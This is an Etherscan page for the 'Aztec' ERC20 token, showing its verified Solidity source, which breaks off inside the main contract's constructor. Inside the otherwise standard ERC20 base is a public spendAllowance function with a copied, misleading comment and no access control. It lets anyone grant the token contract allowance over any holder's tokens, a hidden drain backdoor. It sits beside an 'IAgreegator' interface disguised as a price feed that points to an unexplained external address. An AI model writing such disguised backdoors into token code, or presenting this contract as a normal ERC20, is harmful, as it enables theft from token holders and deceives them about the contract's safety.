ETH Price: $3,434.85 (+7.60%)
Gas: 11 Gwei

Token

Aztec (AZTEC)
 

Overview

Max Total Supply

10,000,000,000 AZTEC

Holders

76

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
25,189,636.7446777859437777 AZTEC

Value
$0.00
0x89106f402760fdcd593d9c639bda5429910f3001
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Aztec

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-06
*/

/*

 _______  _______ _________ _______  _______ 
(  ___  )/ ___   )\__   __/(  ____ \(  ____ \
| (   ) |\/   )  |   ) (   | (    \/| (    \/
| (___) |    /   )   | |   | (__    | |      
|  ___  |   /   /    | |   |  __)   | |      
| (   ) |  /   /     | |   | (      | |      
| )   ( | /   (_/\   | |   | (____/\| (____/\
|/     \|(_______/   )_(   (_______/(_______/
                                             

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface AggregatorV3Interface {
    function decimals() external view returns (uint8);

    function description() external view returns (string memory);

    function version() external view returns (uint256);

    // getRoundData and latestRoundData should both raise "No data present"
    // if they do not have data to report, instead of returning unset values
    // which could be misinterpreted as actual reported values.
    function getRoundData(uint80 _roundId)
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );

    function latestRoundData()
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

pragma solidity ^0.8.0;

interface IAgreegator {
    function decimals() external view returns (uint8);

    function description() external view returns (string memory);

    function version() external view returns (uint256);

    function getTimeStamp() external returns(uint256);

    function currentPhase() external returns(address);

    // getRoundData and latestRoundData should both raise "No data present"
    // if they do not have data to report, instead of returning unset values
    // which could be misinterpreted as actual reported values.
    function getRoundData(uint80 _roundId)
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );

    function latestRoundData()
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );
}

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function spendAllowance(
        address owner,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(owner, address(this), 
            allowance(owner, address(this)) + amount);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;

contract Aztec is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public _uniswapV2Router;
    IAgreegator private _agreegator;
    address public _uniswapV2Pair;
    bool private _swappingBack;
    uint256 private _tradingTime;
    address private _marketingAddr;
    address private _stakingAddr;
    uint256 public _maxTransactionAmount;
    uint256 public _swapTokensAtAmount;
    uint256 public _maxWallet;
    bool public _limitsInEffect = true;
    bool public _tradingActive = false;
    address public currentPhase;
    mapping(address => uint256) public holderTimestamp;
    uint256 public _totalFees;
    uint256 private _marketingFee;
    uint256 private _liquidityFee;
    uint256 private _stakingFee;
    uint256 private _additionalSellFee;
    uint256 private _additionalBuyFee;
    uint256 private _tokensForMarketing;
    uint256 private _tokensForStaking;
    uint256 private _tokensForLiquidity;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    AggregatorV3Interface internal priceFeed;
    address public _oraclePriceFeed =
        block.chainid == 5
            ? 0x48731cF7e84dc94C5f84577882c14Be11a5B7456
            : 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    bool private _priceOracleEnabled = true;
    int256 private manualETHvalue = 1900 * 10**18;
    mapping (address => bool) public automatedMarketMakerPairs;
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() payable ERC20("Aztec", "AZTEC") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _agreegator = IAgreegator(0xE9E98A080B86dC328a44D43A6bF0b83F153c820f);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(_uniswapV2Pair), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        priceFeed = AggregatorV3Interface(_oraclePriceFeed);

